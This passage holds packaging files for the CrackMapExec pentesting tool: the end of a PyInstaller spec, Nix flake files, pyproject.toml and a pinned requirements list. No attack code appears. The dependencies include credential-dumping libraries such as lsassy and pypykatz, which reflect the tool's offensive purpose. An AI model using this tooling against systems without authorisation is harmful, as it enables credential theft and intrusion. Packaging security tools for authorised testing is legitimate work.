14 | win_no_prefer_redirects=False,
15 | win_private_assemblies=False,
16 | cipher=block_cipher,
17 | noarchive=False)
18 | pyz = PYZ(a.pure, a.zipped_data,
19 | cipher=block_cipher)
20 | exe = EXE(pyz,
21 | a.scripts,
22 | a.binaries,
23 | a.zipfiles,
24 | a.datas,
25 | [],
26 | name='crackmapexec',
27 | debug=False,
28 | bootloader_ignore_signals=False,
29 | strip=False,
30 | upx=True,
31 | upx_exclude=[],
32 | runtime_tmpdir=None,
33 | console=True,
34 | icon='./cme/data/cme.ico' )
35 |
--------------------------------------------------------------------------------
/flake.lock:
--------------------------------------------------------------------------------
1 | {
2 | "nodes": {
3 | "flake-utils": {
4 | "locked": {
5 | "lastModified": 1649676176,
6 | "narHash": "sha256-OWKJratjt2RW151VUlJPRALb7OU2S5s+f0vLj4o1bHM=",
7 | "owner": "numtide",
8 | "repo": "flake-utils",
9 | "rev": "a4b154ebbdc88c8498a5c7b01589addc9e9cb678",
10 | "type": "github"
11 | },
12 | "original": {
13 | "owner": "numtide",
14 | "repo": "flake-utils",
15 | "type": "github"
16 | }
17 | },
18 | "flake-utils_2": {
19 | "locked": {
20 | "lastModified": 1649676176,
21 | "narHash": "sha256-OWKJratjt2RW151VUlJPRALb7OU2S5s+f0vLj4o1bHM=",
22 | "owner": "numtide",
23 | "repo": "flake-utils",
24 | "rev": "a4b154ebbdc88c8498a5c7b01589addc9e9cb678",
25 | "type": "github"
26 | },
27 | "original": {
28 | "owner": "numtide",
29 | "repo": "flake-utils",
30 | "type": "github"
31 | }
32 | },
33 | "nixpkgs": {
34 | "locked": {
35 | "lastModified": 1651248272,
36 | "narHash": "sha256-rMqS47Q53lZQDDwrFgLnWI5E+GaalVt4uJfIciv140U=",
37 | "owner": "NixOS",
38 | "repo": "nixpkgs",
39 | "rev": "8758d58df0798db2b29484739ca7303220a739d3",
40 | "type": "github"
41 | },
42 | "original": {
43 | "owner": "NixOS",
44 | "repo": "nixpkgs",
45 | "type": "github"
46 | }
47 | },
48 | "nixpkgs_2": {
49 | "locked": {
50 | "lastModified": 1651248272,
51 | "narHash": "sha256-rMqS47Q53lZQDDwrFgLnWI5E+GaalVt4uJfIciv140U=",
52 | "owner": "NixOS",
53 | "repo": "nixpkgs",
54 | "rev": "8758d58df0798db2b29484739ca7303220a739d3",
55 | "type": "github"
56 | },
57 | "original": {
58 | "owner": "NixOS",
59 | "repo": "nixpkgs",
60 | "type": "github"
61 | }
62 | },
63 | "poetry2nix": {
64 | "inputs": {
65 | "flake-utils": "flake-utils_2",
66 | "nixpkgs": "nixpkgs_2"
67 | },
68 | "locked": {
69 | "lastModified": 1651165059,
70 | "narHash": "sha256-/psJg8NsEa00bVVsXiRUM8yL/qfu05zPZ+jJzm7hRTo=",
71 | "owner": "nix-community",
72 | "repo": "poetry2nix",
73 | "rev": "ece2a41612347a4fe537d8c0a25fe5d8254835bd",
74 | "type": "github"
75 | },
76 | "original": {
77 | "owner": "nix-community",
78 | "repo": "poetry2nix",
79 | "type": "github"
80 | }
81 | },
82 | "root": {
83 | "inputs": {
84 | "flake-utils": "flake-utils",
85 | "nixpkgs": "nixpkgs",
86 | "poetry2nix": "poetry2nix"
87 | }
88 | }
89 | },
90 | "root": "root",
91 | "version": 7
92 | }
93 |
--------------------------------------------------------------------------------
/flake.nix:
--------------------------------------------------------------------------------
1 | {
2 | description = "Application packaged using poetry2nix";
3 |
4 | inputs.flake-utils.url = "github:numtide/flake-utils";
5 | inputs.nixpkgs.url = "github:NixOS/nixpkgs";
6 | inputs.poetry2nix.url = "github:nix-community/poetry2nix";
7 |
8 | outputs = { self, nixpkgs, flake-utils, poetry2nix }:
9 | {
10 | # Nixpkgs overlay providing the application
11 | overlay = nixpkgs.lib.composeManyExtensions [
12 | poetry2nix.overlay
13 | (final: prev: {
14 | # The application
15 | CrackMapExec = prev.poetry2nix.mkPoetryApplication {
16 | projectDir = ./.;
17 | };
18 | })
19 | ];
20 | } // (flake-utils.lib.eachDefaultSystem (system:
21 | let
22 | pkgs = import nixpkgs {
23 | inherit system;
24 | overlays = [ self.overlay ];
25 | };
26 | in
27 | {
28 | apps = {
29 | CrackMapExec = pkgs.CrackMapExec;
30 | };
31 |
32 | defaultApp = pkgs.CrackMapExec;
33 |
34 | packages = { CrackMapExec = pkgs.CrackMapExec; };
35 | }));
36 | }
37 |
--------------------------------------------------------------------------------
/pyproject.toml:
--------------------------------------------------------------------------------
1 | [tool.poetry]
2 | name = "crackmapexec"
3 | version = "5.3.0"
4 | description = "A swiss army knife for pentesting networks"
5 | authors = ["Marcello Salvati ", "Martial Puygrenier "]
6 | readme = "README.md"
7 | homepage = "https://github.com/Porchetta-Industries/CrackMapExec"
8 | repository = "https://github.com/Porchetta-Industries/CrackMapExec"
9 | exclude = []
10 | include = ["LICENSE", "cme/data/*", "cme/modules/*"]
11 | license = "BSD-2-Clause"
12 | classifiers = [
13 | 'Environment :: Console',
14 | 'License :: OSI Approved :: BSD License',
15 | 'Programming Language :: Python :: 3',
16 | 'Topic :: Security',
17 | ]
18 | packages = [
19 | { include = "cme"}
20 | ]
21 |
22 | [tool.poetry.scripts]
23 | cme = 'cme.crackmapexec:main'
24 | crackmapexec = 'cme.crackmapexec:main'
25 | cmedb = 'cme.cmedb:main'
26 |
27 | [tool.poetry.dependencies]
28 | python = "^3.7.0"
29 | requests = ">=2.27.1"
30 | beautifulsoup4 = ">=4.11,<5"
31 | lsassy = ">=3.1.3"
32 | termcolor = "^1.1.0"
33 | msgpack = "^1.0.0"
34 | neo4j = "^4.1.1"
35 | pylnk3 = "^0.4.2"
36 | pypsrp = "^0.7.0"
37 | paramiko = "^2.7.2"
38 | impacket = { git = "https://github.com/mpgn/impacket.git", branch = "master" }
39 | dsinternals = "^1.2.4"
40 | xmltodict = "^0.12.0"
41 | terminaltables = "^3.1.0"
42 | aioconsole = "^0.3.3"
43 | pywerview = "^0.3.3"
44 | aardwolf = "^0.0.8"
45 |
46 |
47 | [tool.poetry.dev-dependencies]
48 | flake8 = "*"
49 | pylint = "*"
50 | shiv = "*"
51 | black = "^20.8b1"
52 |
53 | [build-system]
54 | requires = ["poetry-core>=1.0.0"]
55 | build-backend = "poetry.core.masonry.api"
56 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | aardwolf==0.0.8; python_version >= "3.7"
2 | aesedb==0.0.5; python_version >= "3.6"
3 | aioconsole==0.3.3; python_version >= "3.6"
4 | aiosmb==0.3.8; python_version >= "3.7"
5 | aiowinreg==0.0.7; python_version >= "3.6"
6 | arc4==0.2.0; python_version >= "3.7"
7 | asn1crypto==1.5.1; python_version >= "3.7"
8 | asn1tools==0.163.0; python_version >= "3.7"
9 | asysocks==0.1.7; python_version >= "3.7"
10 | bcrypt==3.2.2; python_version >= "3.6"
11 | beautifulsoup4==4.11.1; python_full_version >= "3.6.0"
12 | bitstruct==8.15.1; python_version >= "3.7"
13 | bs4==0.0.1
14 | certifi==2022.6.15; python_version >= "3.7" and python_version < "4"
15 | cffi==1.15.1; python_version >= "3.6" and python_version < "4.0"
16 | chardet==5.0.0; python_version >= "3.6"
17 | charset-normalizer==2.1.0; python_version >= "3.7" and python_version < "4" and python_full_version >= "3.6.0"
18 | click==8.1.3; python_version >= "3.7"
19 | colorama==0.4.5; python_version >= "3.7" and python_full_version < "3.0.0" and platform_system == "Windows" or python_full_version >= "3.5.0" and python_version >= "3.7" and platform_system == "Windows"
20 | commonmark==0.9.1; python_full_version >= "3.6.3" and python_full_version < "4.0.0" and python_version >= "3.6"
21 | cryptography==37.0.4; python_version >= "3.6" and python_version < "4.0"
22 | diskcache==5.4.0; python_version >= "3.7"
23 | dnspython==2.2.1; python_version >= "3.6" and python_version < "4.0"
24 | dsinternals==1.2.4; python_version >= "3.4"
25 | flask==2.1.2; python_version >= "3.7"
26 | future==0.18.2; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.3.0" and python_version >= "3.6"
27 | idna==3.3; python_version >= "3.7" and python_version < "4"
28 | impacket @ git+https://github.com/mpgn/impacket.git@master
29 | importlib-metadata==4.2.0; python_version < "3.8" and python_version >= "3.7"
30 | itsdangerous==2.1.2; python_version >= "3.7"
31 | jinja2==3.1.2; python_version >= "3.7"
32 | ldap3==2.9.1; python_version >= "3.6"
33 | ldapdomaindump==0.9.3; python_version >= "3.6"
34 | lsassy==3.1.3; python_version >= "3.6"
35 | lxml==4.9.1; python_version >= "2.7" and python_full_version < "3.0.0" or python_full_version >= "3.5.0"
36 | markupsafe==2.1.1; python_version >= "3.7"
37 | minidump==0.0.21; python_version >= "3.6"
38 | minikerberos==0.2.20; python_version >= "3.7"
39 | msgpack==1.0.4
40 | msldap==0.3.38; python_version >= "3.7"
41 | neo4j==4.4.4; python_version >= "3.6"
42 | netaddr==0.8.0; python_version >= "3.6"
43 | oscrypto==1.3.0; python_version >= "3.7"
44 | paramiko==2.11.0
45 | pillow==9.2.0; python_version >= "3.7"
46 | prompt-toolkit==3.0.30; python_full_version >= "3.6.2" and python_version >= "3.7"
47 | pyasn1==0.4.8; python_version >= "3.6"
48 | pycparser==2.21; python_version >= "3.6" and python_full_version < "3.0.0" and python_version < "4.0" or python_version >= "3.6" and python_version < "4.0" and python_full_version >= "3.4.0"
49 | pycryptodomex==3.15.0; python_version >= "3.7" and python_full_version < "3.0.0" or python_full_version >= "3.5.0" and python_version >= "3.7"
50 | pygments==2.12.0; python_full_version >= "3.6.3" and python_full_version < "4.0.0" and python_version >= "3.6"
51 | pylnk3==0.4.2; python_version >= "3.6"
52 | pynacl==1.5.0; python_version >= "3.6"
53 | pyopenssl==22.0.0; python_version >= "3.6"
54 | pyparsing==3.0.9; python_full_version >= "3.6.8" and python_version >= "3.7"
55 | pyperclip==1.8.2; python_version >= "3.7"
56 | pypsrp==0.7.0; python_version >= "3.6" and python_version < "4.0"
57 | pypykatz==0.5.7; python_version >= "3.6"
58 | pyspnego==0.5.2; python_version >= "3.6" and python_version < "4.0"
59 | pytz==2022.1; python_version >= "3.6"
60 | pywerview==0.3.3
61 | requests==2.28.1; python_version >= "3.7" and python_version < "4"
62 | rich==12.4.4; python_full_version >= "3.6.3" and python_full_version < "4.0.0" and python_version >= "3.6"
63 | six==1.16.0; python_version >= "3.7" and python_full_version < "3.0.0" or python_full_version >= "3.3.0" and python_version >= "3.7"
64 | soupsieve==2.3.2.post1; python_version >= "3.6" and python_full_version >= "3.6.0"
65 | termcolor==1.1.0
66 | terminaltables==3.1.10; python_version >= "2.6"
67 | tqdm==4.64.0; python_version >= "3.7" and python_full_version < "3.0.0" or python_full_version >= "3.4.0" and python_version >= "3.7"
68 | typing-extensions==4.3.0; python_full_version >= "3.6.3" and python_full_version < "4.0.0" and python_version >= "3.7" and python_version < "3.8"
69 | unicrypto==0.0.8; python_version >= "3.7"
70 | urllib3==1.26.9; python_version >= "3.7" and python_full_version < "3.0.0" and python_version < "4" or python_full_version >= "3.5.0" and python_version < "4" and python_version >= "3.7"
71 | wcwidth==0.2.5; python_full_version >= "3.6.2" and python_version >= "3.7"
72 | werkzeug==2.1.2; python_version >= "3.7"
73 | winacl==0.1.3; python_version >= "3.7"
74 | winsspi==0.0.10; platform_system == "Windows" and python_version >= "3.7"
75 | xmltodict==0.12.0; (python_version >= "2.7" and python_full_version < "3.0.0") or (python_full_version >= "3.4.0")
76 | zipp==3.8.0; python_version < "3.8" and python_version >= "3.7"
77 |
--------------------------------------------------------------------------------
/shell.nix:
--------------------------------------------------------------------------------
1 | { pkgs ? import {} }:
2 | let
3 | myAppEnv = pkgs.poetry2nix.mkPoetryEnv {
4 | projectDir = ./.;
5 | editablePackageSources = {
6 | my-app = ./src;
7 | };
8 | };
9 | in myAppEnv.env
10 |
--------------------------------------------------------------------------------